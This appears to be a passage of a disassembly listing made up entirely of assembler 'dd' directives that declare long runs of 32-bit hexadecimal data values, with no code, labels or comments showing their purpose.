		dd 4B2DC09Eh, 6CB7CA80h, 588350A4h, 0DB127049h,	0C314E588h
		dd 0F20A1578h, 2AC7803h, 495EE0B1h, 0E2DECA21h,	0B45122AEh
		dd 0AAC9B498h, 1C42C5E9h, 0AF156B52h, 344B9545h, 86D9B815h
		dd 17A6959Dh, 0A1EA0240h, 98A78EEFh, 0EB32E5FAh, 0FF8CB22Bh
		dd 0FC2F8D36h, 5334F2D0h, 0FEF554EFh, 0E185A7D3h, 0EF68E42Eh
		dd 0BDF7824Eh, 136AFED0h, 2F47A1CBh, 118B5FB5h,	0C2ABBEF8h
		dd 0C97AFC4Dh, 79D8AD76h, 561CC359h, 0C1F243DFh, 0B571D524h
		dd 0B52F88AAh, 92073042h, 0C1F93D6Bh, 0B03A91A1h, 9EE752B1h
		dd 8238D315h, 831E22F9h, 2FF622D3h, 1A1F1521h, 4D890117h
		dd 50DF8199h, 4ABD83C7h, 0A0116F6Eh, 31B77BC8h,	0C01242D5h
		dd 378C6943h, 0A6D27C09h, 9A087C0Ah, 0E58903E6h, 8982E99Bh
		dd 0C7B0AC7Bh, 45238103h, 0ED08AB52h, 3F8998AAh, 0BCBA81FDh
		dd 0BCF483D6h, 55DD5624h, 26594A72h, 0ACB62EA3h, 0ABE38F1Bh
		dd 0FE3F11h, 5214595Ah,	2835A762h, 0C6D69EBAh, 4EEEA449h
		dd 5C594431h, 0D98C054h, 21E8C33Dh, 0CCB3B21Ch,	0E0B65519h
		dd 30682B2Fh, 160CD2A5h, 427BF24Ah, 0FA741D97h,	0F7563C0Bh
		dd 0A88CFC17h, 1F367218h, 0DAA8F3C8h, 0E94A2027h, 50534C98h
		dd 0B7825343h, 1B02969Ah, 75E18B32h, 0D38F88E8h, 5A77ABFCh
		dd 88278BD4h, 0B8BEC33Dh, 4EAE7B61h, 45B56B7h, 4A68803Ah
		dd 0BD495682h, 139DB41Bh, 577025A1h, 88FCF6F7h,	0EB7EC21Ch
		dd 664D06A1h, 8C7EAD5Dh, 3BF14535h, 9B8EC661h, 0B7EF0FE7h
		dd 673CD147h, 0A3EC96B6h, 0D82B5807h, 33297EB5h, 0FD33A08Ah
		dd 0D3B8EA91h, 292C647Dh, 0E5D6FADAh, 7D0E9769h, 0BBD76C66h
		dd 1BD6A06Eh, 0BE150EC8h, 96634773h, 56A41D0Ah,	0F088E79Ch
		dd 9FCF4F28h, 7651B9E7h, 4869ECE8h, 0E0E7BBD5h,	0E3FCCA54h
		dd 0C84C1250h, 212A12E2h, 0EF370CEAh, 6E19D721h, 495738C8h
		dd 0BD86937Ah, 5BE66A72h, 6AD366FBh, 0BC82D809h, 9F2BC211h
		dd 9A357D0Bh, 0E636223Eh, 9D96DCF3h, 19E8CB09h,	264E08C8h
		dd 93383470h, 0F5FF93BAh, 0EFE3945Ch, 0E4CC9BD7h, 6F747B65h
		dd 0C13D300Dh, 28DF1456h, 0A94CEEC9h, 0BBA553E5h, 0E5B22125h
		dd 0F29C3919h, 8CF80103h, 0CCF8B951h, 0D42B2DFCh, 6F80FB1h
		dd 6940744Dh, 0A0592801h, 0B60BBD93h, 3E8A86A7h, 0BE56B6C6h
		dd 0AC498812h, 81477CFBh, 8ECE188Bh, 661730Ch, 0B034912Fh
		dd 8B248556h, 42CD9A5Dh, 254167F6h, 0F15EDAFh, 0E5992E19h
		dd 8138248Eh, 0D2E40809h, 4882FD23h, 0DB64BD8Ah, 2660D357h
		dd 2D750E53h, 0D64C9D9Ch, 0FEC35F77h, 0AE456BCDh, 0DF686B71h
		dd 9C19409Bh, 0D7D1C41Eh, 0F2E4772Bh, 0C0123963h, 0BEF056C1h
		dd 29323B1Bh, 0B2607474h, 393D3DCDh, 34DB0DFAh,	0D29CDB5Ch
		dd 3CB9D9D5h, 4C4FB0Dh,	381215C4h, 51B5E5F0h, 902898DAh
		dd 0DBD3E790h, 0ECBC302Dh, 8AA2E06Dh, 2A3BD4E5h, 1D19FDCFh
		dd 0E82362E3h, 48F56937h, 2EF8E0C5h, 786AC71Ch,	5993618Ch
		dd 0AC97113Dh, 7A2AE23Bh, 99F812D6h, 0D0B515A0h, 0EB5A0551h
		dd 0F5B30934h, 5A49A35Dh, 0BC8D3691h, 0E0AD1851h, 9AE369AFh
		dd 0F07AC1D9h, 0E3AA1784h, 0A779EAC2h, 0AEA67373h, 974869F5h
		dd 0B57E26C7h, 6AE7996Fh, 54C4278Fh, 0E70A76D1h, 2C8D209h
		dd 73C0B484h, 6AC94ABEh, 100CFB1Fh, 45F5D482h, 25338985h
		dd 1479B724h, 0E2EC7E68h, 0EF939C0Eh, 0C1FC28B2h, 0E9487DB5h
		dd 0C8947898h, 0EED1F706h, 0E7CAC3B6h, 231393F9h, 91F69063h
		dd 0CD37B29Dh, 0B2A3DD1h, 2C9BFE07h, 90FB3715h,	28E1449h
		dd 0E04CF2B1h, 418AE788h, 0D7415AE2h, 27249132h, 0D1762202h
		dd 0B12B2529h, 452E2E69h, 2902DFA6h, 97F28DF3h,	1A991A00h
		dd 9D5F979Fh, 0DDA8A18Bh, 865A162Dh, 7087E770h,	2899C0C5h
		dd 86BF1785h, 0D2309D4Bh, 6F038770h, 43BF98C6h,	89C5226Bh
		dd 7231C7D2h, 0A88D9A92h, 0F00FDA7Eh, 250D6E47h, 257AD7E4h
		dd 158114A2h, 7ED2065h,	16F1600Ah, 710823E2h, 0C9407A2Bh
		dd 3B2074CBh, 11D6691Ah, 0FC52CFC8h, 1EFD7A1Ah,	71BD8D33h
		dd 2EEB9EBBh, 5A0574B7h, 7A497FEBh, 0CA1B5737h,	0C8031223h
		dd 0FD881B31h, 0EBFD0F71h, 376F1A09h, 96DA4B94h, 0E2F07DDAh
		dd 0C539C3FAh, 0B947AD3Ah, 9287DD83h, 0B71747A9h, 793C30BBh
		dd 54AFE271h, 0FC5CB857h, 93712B8Eh, 0B2C793Ch,	42C6E59Fh
		dd 0CB10D8DEh, 57F75598h, 0AA887199h, 79F9540Eh, 0B6377FCFh
		dd 1FBFC2F2h, 6C603F6Dh, 0F087D857h, 77AFD0EEh,	0FA4407D8h
		dd 4617DCCEh, 0B0119D9Fh
		dd 0FAFE7DFFh, 8C60D53Ah, 64863E88h, 0BC9C3FCFh, 505C78C2h
		dd 1A59A6F5h, 0DC968C5h, 0B52C1C3Ch, 450502D0h,	6CAE28DFh
		dd 0FBC84B5Bh, 8D8A93F9h, 58200175h, 60C71FB2h,	0BB8646F0h
		dd 48C45FDFh, 0C6EBAB2h, 3D99CB40h, 0EB13B42Fh,	7CF38DFh
		dd 0AD63A33Dh, 0F7662B67h, 0E51105CAh, 0A8B4FB0Eh, 8490B00Ch
		dd 5B529771h, 972D4A04h, 741AC569h, 4A2DECF4h, 58B5AACEh
		dd 0FF8522B9h, 0FE01A99Dh, 9B152B1Dh, 0B16CF9F5h, 7B690094h
		dd 15C183C1h, 643D9979h, 36FBAF44h, 7C7E1FBEh, 0A6C2C75Dh
		dd 92524852h, 5BF0FCFh,	9A137B80h, 43730641h, 6B835E0Ch
		dd 96AFBC48h, 2F6DD89Ch, 13C2002Dh, 8523A605h, 93B3E83Bh
		dd 0A101DE19h, 0B11A4E91h, 150F1417h, 1CECB599h, 41E9EF58h
		dd 0FE90326h, 0DDCEDC4Bh, 23D76A3h, 46D28A52h, 0D87E71C3h
		dd 0DC12A06Ah, 7910E65Ch, 0C4CDE69Eh, 0E7C8B4FFh, 364745CAh
		dd 0B0C66FDh, 0B405E45Dh, 9FF343E0h, 0B441A238h, 12238823h
		dd 0BD053380h, 7680D9E5h, 8AFD14E0h, 24E4734Ah,	3B0E89EAh
		dd 2D8D91D8h, 0E10FC3DEh, 92780792h, 667D62C7h,	4612E453h
		dd 0D3A32744h, 0DF4ED351h, 6471E959h, 0E1FD7B7Eh, 374AC216h
		dd 0ECE2BC6h, 7B3BE964h, 0CB756EC9h, 1EBCB686h,	17DF9B38h
		dd 0FC79A3DEh, 84D8B97Dh, 0EE773B57h, 7F33CF63h, 721DBD0Eh
		dd 0EEE96CEEh, 823A25h,	82F8EE7h, 1CF06014h, 826CDCBCh
		dd 41744E32h, 4DE5E598h, 7A5F3A9h, 47ECA86Dh, 0F82A925h
		dd 0B5B71831h, 95AF3B98h, 0D425FEC6h, 69534AACh, 3725EBDFh
		dd 9475B781h, 4E3A8A3h,	6292E730h, 0A78CB8E0h, 0CEEB733Eh
		dd 0A454330Ch, 76ED87C4h, 622D7ADBh, 1DFC7016h,	0DF7D8D2h
		dd 2A140B02h, 200E89F3h, 2CE72684h, 1E84F4Bh, 0EEA944BAh
		dd 0CAC5C3C0h, 9D2A4C59h, 6055F2BFh, 118EA234h,	2BDD7AA1h
		dd 6C912BECh, 6251BB42h, 9A0D82ECh, 0FA2E13E0h,	36CC6364h
		dd 0F6256DABh, 0B4AA088Dh, 1505B2Bh, 0CE14B46Dh, 0E6CEAC1h
		dd 193730F5h, 0E0601317h, 0DEF9F86Fh, 1FCFB387h, 0D2321F17h
		dd 8221D307h, 0F598B3C7h, 8D2EC066h, 2078AA53h,	0B6FBC84h
		dd 488089B4h, 4C92B8E2h, 11E39F6Eh, 0A71BF223h,	94B6754Eh
		dd 903B0BFEh, 2A85E1D1h, 118B3B03h, 9FAF9F57h, 3E415264h
		dd 395EEFE0h, 51A7E0F0h, 0F4C0BFBCh, 6F9F6951h,	718C4EFFh
		dd 0E485DE5Bh, 0DF603066h, 501A8A7Ch, 6F3CAEB5h, 57DFDFCFh
		dd 0B00B8DD1h, 0D4471571h, 1E7FDA3Fh, 90559BA3h, 0A9081137h
		dd 3583BEF0h, 0ACE8E6ECh, 85B38BBCh, 36E726C6h,	97662802h
		dd 34D70A57h, 18B86679h, 0E8B98BAEh, 1056EB72h,	609EEDDEh
		dd 55A4D28Dh, 770C5097h, 8E1A620Dh, 6DD5EA27h, 0C4365BDh
		dd 39F95687h, 0E58D17B3h, 0D9BA33AAh, 447F9A63h, 0DEEB399Eh
		dd 429077B9h, 3203B93Fh, 543B895Bh, 35D8ACB6h, 51C4DE14h
		dd 40336190h, 2F98CC78h, 22E83A0Fh, 0B725818Ah,	0F399686Fh
		dd 42DD15DDh, 0AE8212DBh, 61908637h, 4AB7F208h,	60082555h
		dd 0AEDBE9E6h, 6C44C80Fh, 0D77B81D1h, 704EDA44h, 0A70448D1h
		dd 9A1917E8h, 803B0DB6h, 0ABEFA2EDh, 7D957D77h,	0E0A60876h
		dd 69C39E3Ch, 58998551h, 302799Bh, 26E0D5AAh, 0B6E728Ch
		dd 0BDEA7CBCh, 8CE87D0Eh, 3EFDB001h, 0F791F901h, 4DB5CE12h
		dd 471C8FA0h, 6BB61C81h, 16BC0276h, 805085F5h, 0FF96B890h
		dd 96BAB7D5h, 87B569A6h, 4E2187F4h, 0F42BE751h,	7E852E04h
		dd 1CFBD8B1h, 436C240Dh, 0D0AE34EEh, 54F27E6Fh,	0E847660Bh
		dd 0BDCBC4AAh, 2064C2F2h, 7F2AFE88h, 0D1F171D0h, 39EA561Bh
		dd 69154887h, 7778B03Eh, 0D73C4Eh, 9C0A893h, 56D4A232h
		dd 0D1C48243h, 5089663Ah, 12D1ABB2h, 4F0F85C9h,	0A0BC5669h
		dd 0EC963CE3h, 0BCBEC7B9h, 8362A8E7h, 6706576Ch, 0BFC227CCh
		dd 522D8Bh, 2EC9931h, 640CE23Eh, 5D5F791Fh, 231700BFh
		dd 750F4948h, 0E3A2CA7Ah, 0DC0A4D33h, 0C9AFEC14h, 0DD667C87h
		dd 8EBF57D2h, 21CC60A9h, 8E11A27Ch, 0E625523Ch,	67D6DACBh
		dd 3785E8A2h, 169F036h,	50D3A812h, 3D42E174h, 0FA6A256Bh
		dd 68D13E11h, 28E9A86Eh, 0AA187261h, 969C5233h,	0ED3B45F3h
		dd 0EFFE703Bh, 853CA4Bh, 0E3779F25h, 2729DE3Ah,	0F88DCE77h
		dd 67C587BDh, 0B9B2F67Fh, 35155B3Bh, 4DF9ABDDh,	9F9CCFFh
		dd 0BE9FD12Ch, 1228CD2h, 7B743222h, 3F9AC140h, 0E3190477h
		dd 473AB343h, 0ACA03CCh, 3AC7276Dh, 8995B47h, 0BCF6B80Bh
		dd 0C32C3E91h, 7D17D807h, 0B5475B91h, 725684CFh, 0CCFCE940h
		dd 16808864h, 0BBF16BEAh, 33AB4CEFh, 0FE0F1F1Ch, 0F7A6F100h
		dd 4DB00C5Ah, 673A3513h, 949F0833h, 7CAAA159h, 5ABA9D50h
		dd 0F851D489h, 0D1C07F40h, 0B9FE4A3Dh, 975F8CE0h, 0C2ECF7C1h
		dd 0AA22E901h, 0CE031B0Eh, 81D5AD44h, 0A223FEEEh, 0DD1E01BAh
		dd 0E539DDF1h, 0D644AF92h, 8E4089EFh, 8E534C33h, 709649A1h
		dd 36FD477Dh, 1B415388h, 9779FABDh, 4732B2F3h, 3B0B9988h
		dd 34D765D3h, 0E6A4522Ah, 84DB62FAh, 1159FC83h,	0BB903DEFh
		dd 32C531C6h, 0E0F73179h, 1977D8E4h, 2F617470h,	305DB174h
		dd 5E154EB1h, 0BB9AD520h, 74514CCAh, 0BB5BF2FCh, 0ED202D8Bh
		dd 0FD0142FEh, 0C6BC3F81h, 0C2ADA0F0h, 0F61DF6Dh, 8ADBC916h
		dd 39A20479h, 47A58596h, 0C68BD528h, 4BF93D4Ah,	0B9629E4Ch
		dd 116D62CEh, 5E3FA6D5h, 0CE4A70CAh, 0F4AAE078h, 0DB001A8Bh
		dd 0FA8287D1h, 74EE6B31h, 7B34219Dh, 16FFA6E5h,	664F8162h
		dd 710833C0h, 7BBDEFB1h, 0AB737A9Ch, 9CC2C23Dh,	1E21ED26h
		dd 0EDFFC3B2h, 467A9FD3h, 7A7285B0h, 78BC181Dh,	2AA01753h
		dd 37BE2939h, 0C32F0712h, 91DAE710h, 0BCF74B25h, 6080064Dh
		dd 0E91A04DFh, 32C5A9B0h, 25203F23h, 0FBAA33DFh, 0C409E392h
		dd 9E9141h, 0D24BC2E8h,	0F25E201Dh, 1421D1A6h, 0D1C35B23h
		dd 0E3BC7016h, 0FFD6CBC2h, 0EE477D82h, 0AD0F3A2Ch, 3FAC8565h
		dd 27763DBBh, 0E5EC86ECh, 33950D3h, 58AE7EE0h, 32A9155h
		dd 0B5BB781Dh, 4E24EFF3h, 98D5ACC5h, 460D755Ah,	96DDCC50h
		dd 0D40A8D5Eh, 0CD3FB15Ch, 26CD2B71h, 0A62BE9C2h, 0DA6E41Ah
		dd 0C6957C69h, 2511FE03h, 36B7B24Ch, 0A53535B5h, 0EC34D3E1h
		dd 0DA813D53h, 0EE8C3B4Eh, 0FB7C107Ch, 9456860Dh, 633B6A6Ah
		dd 0FC7C49F3h, 0C299897Dh, 0FF0971BBh, 0ACE77CBh, 92E60BDDh
		dd 6CBB0AE0h, 0D80C2323h, 4F86F89Dh, 8D4FFE93h,	0FC631E75h
		dd 77CA1581h, 846089ECh, 899E1936h, 46899731h, 440762DFh
		dd 9B042F5h, 31A1E987h,	7300297Ah, 9DF5D65Fh, 0C333DFCBh
		dd 50BC4BF3h, 221E04B5h, 9C21D9D9h, 235D0960h, 8D8B88B5h
		dd 0C65611A6h, 3730A8F8h, 63B17268h, 0F541A9D9h, 0ADAAC17Fh
		dd 0D8E74D5Fh, 0A7258CC8h, 0C19F63C0h, 420A0BCCh, 5935F852h
		dd 0F4C0925Dh, 203C08F4h, 0D4D4948Eh, 5BB91389h, 829EB2DAh
		dd 69D4E7CBh, 927F74F4h, 0E62F95E1h, 0DEEE2786h, 0B5031081h
		dd 8DE2881h, 0D2F5978Bh, 83C0D74Dh, 8E8D34DEh, 0D3EC7D78h
		dd 3F7A66F0h, 3BA7F191h, 5A3BB871h, 0CB123758h,	0CFAF96B8h
		dd 0F63C3D2h, 0DA58194Bh, 4DBC5B62h, 0F26DE90Dh, 5BF3B830h
		dd 7B633735h, 0FC12B035h, 2D958FA5h, 0F74F8187h, 0E431FBF3h
		dd 0FBAC2233h, 0BB503B79h, 951B47E4h, 69A474C3h, 95A153C6h
		dd 316E61AEh, 6D9B0B9Dh, 41425DAEh, 0F046BD02h,	0EC993060h
		dd 49CCC41Eh, 0DAA84858h
		dd 0BC0BBD01h, 47958DE1h, 0C32886F5h, 94E6ACCFh, 0EB12CF5Ah
		dd 0CB11CE97h, 286B485h, 11A5BB47h, 26320E1Ch, 368063E6h
		dd 0E6D5525Ah, 0DD83196Fh, 8532815Dh, 460D33A2h, 19E426E9h
		dd 14B62711h, 2DC90727h, 0F6431D9Bh, 9B2B5D42h,	0A94D0120h
		dd 704DAF2Dh, 3BB1970Ah, 8F4C66CBh, 208CA203h, 6990F770h
		dd 22636274h, 0CF866124h, 58F5C764h, 52F8183Ch,	0F6E44C38h
		dd 263FACA2h, 0EB9282E7h, 0CE1555A0h, 0DDDB9F0Fh, 26BA4EDDh
		dd 8851BFFEh, 57617566h, 3FDDCC23h, 2601BE5Fh, 420D078Bh
		dd 4D2A0AF9h, 3D52F7FAh, 0C5BA3864h, 6522AE4Fh,	74D8E1BDh
		dd 4EDA18DEh, 0A41C200Ch, 0D40CBEA6h, 0F9A1B81Dh, 2CA9E8A2h
		dd 6E1AE1D9h, 8DCE3304h, 65B5CAFCh, 6EEF353Ch, 9E99F70h
		dd 0B2072AF0h, 45BF2BE8h, 25109A55h, 0DF1D6626h, 0C6AC6B40h
		dd 9EDC60FDh, 0A8892D67h, 0A3723B75h, 0D6E491A9h, 4493A431h
		dd 8902CF5h, 26035EA2h,	1D32A4E1h, 0F3B6020Ch, 1B40F1F8h
		dd 99D09B9Ch, 8B2BB6E2h, 0F978A95Dh, 8A6C5A1Eh,	0BD454A01h
		dd 93AEFBD8h, 8C795067h, 171CBEBBh, 0D6DFC8C2h,	608F7F52h
		dd 22809911h, 4DF91558h, 0B5099DCAh, 0BC7FD525h, 0B90F84DCh
		dd 964E594Dh, 87CB3EA4h, 0A8BF51DEh, 978061ECh,	52BF23DEh
		dd 26ECE766h, 8D0278D4h, 0B0F6B041h, 90591326h,	0F6B4EC1Eh
		dd 0FE790F0Bh, 31F24B64h, 0B564A912h, 0BED7CF28h, 49E5F169h
		dd 42F22D40h, 561236D4h, 61B9EEEAh, 8DD1C0Eh, 0DEDA2DC0h
		dd 42F18992h, 0F5C12748h, 0E86DAC4Fh, 6172F38Bh, 81D89FB5h
		dd 0A87F7C88h, 8BED1944h, 87EF7D7h, 0F5BF7147h,	0B7C83688h
		dd 45AA7B16h, 0C4620A00h, 9560875Bh, 45A0E9E0h,	0DD3E1854h
		dd 18D8DA1Dh, 0FD80D5C0h, 4DF65CBEh, 0FF0F0870h, 0CDEA4EEh
		dd 0AA8C49F3h, 0F083A04Ch, 19095AD5h, 97A530ACh, 26A00C62h
		dd 528284BDh, 0E96C0D0Eh, 8181DF92h, 79966973h,	4179F45Ah
		dd 84576DBh, 0D8F99955h, 0DCBF3E9Eh, 46B370D2h,	37839E76h
		dd 29DE8066h, 0ED872D0h, 995D6E7Fh, 0AF910E87h,	759E830Bh
		dd 0FDEEB4EBh, 373F138Eh, 0D857F965h, 6069DE27h, 0CC33452h
		dd 0F56C837Eh, 0C89F6B9h, 0B9CB4EC9h, 86F0B600h, 655D3D79h
		dd 0E805FD55h, 8398EC51h, 8F640D05h, 0F33990B9h, 88C0499Fh
		dd 0B213011Ah, 8511C231h, 0F2247373h, 50CF945Dh, 9A1B2403h
		dd 0A6B5D879h, 5E87E473h, 0D2971F5Bh, 2DF4A120h, 14684C24h
		dd 0D01FA3Dh, 0B0C73887h, 87C0F553h, 0DCA57049h, 46697E5Fh
		dd 0F1A0936Ah, 88533E1h, 1E59EE9Bh, 0C36CA04h, 32BE697Ch
		dd 0C51E37ABh, 924255B9h, 0FF7B5D52h, 0D288B329h, 0EB99BF6Ch
		dd 90892183h, 8AB47205h, 51DAF602h, 326C49A2h, 0D64DAAA4h
		dd 0FDD1CBD8h, 23939B7Ch, 499B7CD8h, 48391B7Ch,	0A9315508h
		dd 9E4C89A3h, 26AC2DC3h, 0AEE10353h, 0DBAB5CD9h, 69FF3D9Fh
		dd 1DE55CB5h, 6622AACh,	0FDF90EE8h, 82CE04B6h, 0EB35757Ch
		dd 9427972Bh, 0CB1F9A60h, 0F7729ACFh, 12255985h, 196B6359h
		dd 700373ADh, 96C5B39Eh, 0F13C38h, 0B97C06C8h, 0B0304684h
		dd 66701B78h, 97B61E72h, 0F8101BA3h, 467BC09Ch,	0A0AE5A70h
		dd 0BB8068EBh, 67CB172Bh, 284DDE44h, 37338783h,	7B9E4373h
		dd 0B62E2BBEh, 0AEC7B97Dh, 23B881DEh, 2F30003Ch, 0E0BB851Ah
		dd 0C4C54F7Bh, 0DA6EEA8Fh, 0C11AA9F8h, 7DC67BADh, 2AA63F4Ch
		dd 0E4F36B6Ah, 6E3458F2h, 0A461E2F4h, 0EDDBA990h, 0C5234CE5h
		dd 30F79C8Fh, 0E578BE04h, 0D05517FAh, 0A14F99B2h, 51766BAAh
		dd 0EBEE9021h, 0BEB8B885h, 7B688446h, 0EFB7113Bh, 0D10FB2B7h
		dd 9D74EA71h, 680F98BBh, 2C149D07h, 0A2F9658Ah,	20BC4563h
		dd 64E1021Dh, 14223964h, 8BF7F3C7h, 1708E55Ah, 0B0248BDDh
		dd 519F0D92h, 0B104F6D9h, 0F7693DDCh, 3D79DA88h, 0E82A02DFh
		dd 5309EB05h, 43A8B2B0h, 5F5A99BDh, 235BA7Fh, 0DE86C913h
		dd 3249DED5h, 82628913h, 27B9B79Bh, 6A626199h, 0E790AE69h
		dd 79618F29h, 9F74D1Dh,	0AFB5D461h, 5F3C1DD7h, 2A4DA49Eh
		dd 0D0FD90DDh, 0CDFCB518h, 900E48E3h, 6C87E958h, 127431h
		dd 1109ABECh, 0BC201D91h, 69CC54C1h, 0D3C2BF96h, 6AA16ABBh
		dd 0D23BC237h, 623C4FB0h, 52C5B9FCh, 0E53B445Fh, 0AC0E34B7h
		dd 0BDA2918Fh, 0E9AD958Dh, 8DBB7A4Dh, 9804F208h, 0CE251604h
		dd 0C71DE1CBh, 758FDA00h, 1EAAE659h, 110A6774h,	63C71DEAh
		dd 71EA6075h, 16383E6Dh, 8A02F929h, 24B10761h, 0A2D87E36h
		dd 4DD80A10h, 0ABA345EDh, 0E2D2F5Fh, 5605ECCBh,	2FC624A7h
		dd 71C506F7h, 0CD960606h, 7BF68963h, 8F5DC4B2h,	0F7F680E3h
		dd 8FF53572h, 2BB56950h, 0C0D98869h, 0A1CDDECEh, 445EEE8Fh
		dd 9031F49Ah, 25239915h, 285E83A7h, 123811C4h, 4674ACADh
		dd 0E8078E5Bh, 9EF904E5h, 0A777F384h, 0B458A764h, 0BBAAEEFCh
		dd 0BC15D993h, 0CBC66056h, 179B6B16h, 0D8275587h, 980D562Ah
		dd 428C623Dh, 9C572024h, 2C99A174h, 3C8A7B62h, 73BA57AAh
		dd 99AE1A73h, 0E9A7DF2Ch, 49667C27h, 14DF47DEh,	778D6C1Ah
		dd 49C145F8h, 46F0F3E8h, 0CBE8444Ch, 98DE482Bh,	4D767BD7h
		dd 0D0ADB865h, 45469DDCh, 0C6334C4Ah, 442C1D47h, 30E05902h
		dd 32C456B1h, 1F7563CEh, 733722EFh, 0AFF60D22h,	0A3C1F3CDh
		dd 0EBF1CE8Ah, 3E434FC0h, 0EA1A6AAAh, 55FD9BCBh, 43BFF1A9h
		dd 6A6167B4h, 0B34C6917h, 4E4B5EA2h, 2884794Dh,	53F5A038h
		dd 33F6CD15h, 0AB35074Dh, 9F25FB7Ch, 5DCA5843h,	13565D71h
		dd 2E6E1546h, 0A135A5DCh, 0FB9CB31Dh, 0F29EFF92h, 7B682555h
		dd 0BAEDE75Eh, 762D7962h, 0C9D3B619h, 74C3EA0Ch, 8319E9Eh
		dd 5169BA35h, 6E60E5E4h, 4C02DE30h, 871C481Ah, 3E7A8538h
		dd 0A08D4810h, 35C5ACDEh, 27618518h, 5D994FF3h,	1052AE38h
		dd 941292Ah, 0A8A4218Bh, 67772BDEh, 0EACD7C9h, 69D5572Fh
		dd 0C51CD591h, 0BBBA60B4h, 0D3DC57FEh, 0F557B342h, 13879A8Ch
		dd 75C768AAh, 60DE04EEh, 9C1FDC17h, 0BB2BA1B5h,	2616DBA5h
		dd 0BCDC6851h, 8F42D875h, 133A42DBh, 2D3167AFh,	7781BC06h
		dd 0A95D8DE6h, 7CFB53DAh, 5BAAE67Ch, 0DD609257h, 4BE9902Ch
		dd 1D557A2h, 2325EC3Bh,	6FD3966Ch, 5D7281Ch, 29D2E48Bh
		dd 671DF1B3h, 674B267Eh, 0ED1148A6h, 20B490Bh, 3DF8855Dh
		dd 0BA802300h, 0FBFD08A1h, 9EFBF1BEh, 7001F3BDh, 551F67BCh
		dd 0C9527D15h, 76D560F9h, 0AF011AB2h, 0DC880519h, 175E9900h
		dd 0FD6D33FEh, 24F71EBCh, 0CB519A20h, 0B080D26Bh, 0DA64700Eh
		dd 10F809DBh, 0E3D6C40Fh, 76A6D479h, 8B426C8Ch,	826914A4h
		dd 0FB4853E4h, 4AF550F9h, 23FAB534h, 0EFA4D212h, 987EE430h
		dd 4D394B1Ch, 0C7CF1AF7h, 0B5C2A436h, 9EFF103Ch, 79D36F5h
		dd 45D96FA7h, 0F3947853h, 0FF18726Fh, 7D66EE77h, 54189609h
		dd 0CDAA029h, 0E777566Fh, 0C2C03B69h, 0A1F1DC38h, 335A18A1h
		dd 82E64A1Ah, 8C95FE2Bh, 57DBCE09h, 449F34FDh, 56EE7B35h
		dd 0B5154DE6h, 88C7F37Eh, 1430FDFEh, 7C553580h,	97530CE7h
		dd 0B857C32Eh, 0F666A34Bh, 0A751FF7Fh, 3E4A636Eh, 89F72E8Eh
		dd 41B632E2h, 0BDD7A955h, 9D3C884Fh, 62BC3ADBh,	26ACFAC8h
		dd 0A35D029h, 3572E15Eh, 63AF82D1h, 1C431CB4h, 9F72D8EEh
		dd 0F4E26B2Bh, 6128E680h, 4F53B3Fh, 1BEC5CB9h, 0AFA716E6h
		dd 0C38DA67Bh, 1F180F1Fh, 0DCF4C32h, 8942FF75h,	2FAD251Ah
		dd 0B4230FB1h, 7D34B559h
		dd 0FBB751E5h, 2FCCBA21h, 0D3184DF9h, 0BB34F6C2h, 81CFD33Bh
		dd 0D51462E6h, 75BFAF1Bh, 1504A275h, 0C6E282D4h, 0E2A2035Bh
		dd 0D68820E1h, 9F5E0575h, 3CAE22C0h, 0A10F24C4h, 77F7559h
		dd 52FD1A94h, 0E9A5DA3Eh, 7DA6DCCAh, 5A3066CFh,	0EEE03343h
		dd 0A1669BC0h, 78214DB3h, 0F9BFA64Bh, 8E5DEF40h, 41A4F35Ch
		dd 0E1C48D27h, 42C19F0Ch, 0A718B2F9h, 46E5AC85h, 6BAC4EABh
		dd 0F67A0B08h, 0BCA0EC0Ah, 0D3BEFE99h, 0FD78F697h, 18C278ADh
		dd 3A5A56Fh, 3E72D8AAh,	289541DAh, 0E208C15Dh, 3D17CB9Fh
		dd 9F58A7A3h, 8CB2AE0Ah, 8F22D0F8h, 0F420E5FAh,	0C4998EEBh
		dd 0E77E0AB9h, 29B8E3FAh, 0B856A4ECh, 61D76B37h, 78F229F8h
		dd 511DD760h, 0CE5B7D89h, 9424F479h, 81AAD167h,	0EA2BA2AEh
		dd 5B6842BBh, 51123F10h, 0F5BA1725h, 8709242Bh,	0CAE58563h
		dd 2CCE853Eh, 37F7614Dh, 0BB3E7781h, 5AD97758h,	4BEE0A90h
		dd 66D6FC31h, 0F290462Fh, 0AE77322Ch, 7A60A371h, 22D0DD43h
		dd 394E70CDh, 13379F69h, 85453759h, 0B8822B7Bh,	4BEA60D2h
		dd 0E5B3957Eh, 0A144E8Dh, 0C97E35C6h, 84794171h, 0AA9F1760h
		dd 34EA8C4h, 863CDF2Ch,	134DE837h, 0A7829249h, 0D0E044FDh
		dd 1E01D0A4h, 0EE6D3EC3h, 3A740AF9h, 62F58C23h,	1E2D053Dh
		dd 0A9E85C79h, 9DD2BEF3h, 4DA4551Eh, 94CFB98Dh,	0A7D91953h
		dd 65713888h, 0CE60D394h, 0B6E0B31Dh, 0C4556087h, 56CE87D4h
		dd 8170E759h, 8265190Fh, 0AC2A7AA0h, 0A285E9E7h, 1105A131h
		dd 0C07ACCA4h, 572BA9E2h, 0FCA1FA37h, 18E2A91Eh, 37E6443h
		dd 906534E1h, 14894C27h, 24FE2887h, 0C262090Ah,	37AAE653h
		dd 0BE639B36h, 4070C445h, 0BB224B19h, 6DAA779h,	569EE4BCh
		dd 0CF70C0F2h, 0F42B853Fh, 0B092F2B6h, 0ABF3A53Ah, 0C67695E8h
		dd 86B68E30h, 0B59E525Ch, 53A140D7h, 0E84E1D2Ch, 52D28D83h
		dd 0D225B691h, 0DA623228h, 9FDD6E5Ch, 956641A3h, 23805AD3h
		dd 894A3F8Ah, 0EA2AE9h,	0B55BF6E8h, 3DCB0A3Ch, 908E09C2h
		dd 2E5D4E22h, 0DAB095F3h, 0A8F556D3h, 0B7A9E7D1h, 140B0AF2h
		dd 0B8F77E6Ah, 0EDF363A0h, 24F3E34Fh, 70B57753h, 854294BEh
		dd 2558E8A8h, 0C24D6AC7h, 0A30E8450h, 0EACF4F11h, 858BB9A2h
		dd 50830EA0h, 46D802E1h, 0F23CA492h, 1FD9C721h,	22DC23D3h
		dd 69394950h, 62630563h, 9F54A523h, 0BECCC4DAh,	802FA869h
		dd 6AD5314Dh, 778A8568h, 2539BD86h, 9E4B8AD3h, 5F53367Fh
		dd 7124170Eh, 21A00B1Fh, 8CCDA4F9h, 80ACA6E2h, 6DF5FD88h
		dd 0C761522Bh, 10AE15CCh, 0E1A47B2h, 9E061B13h,	697A7DF8h
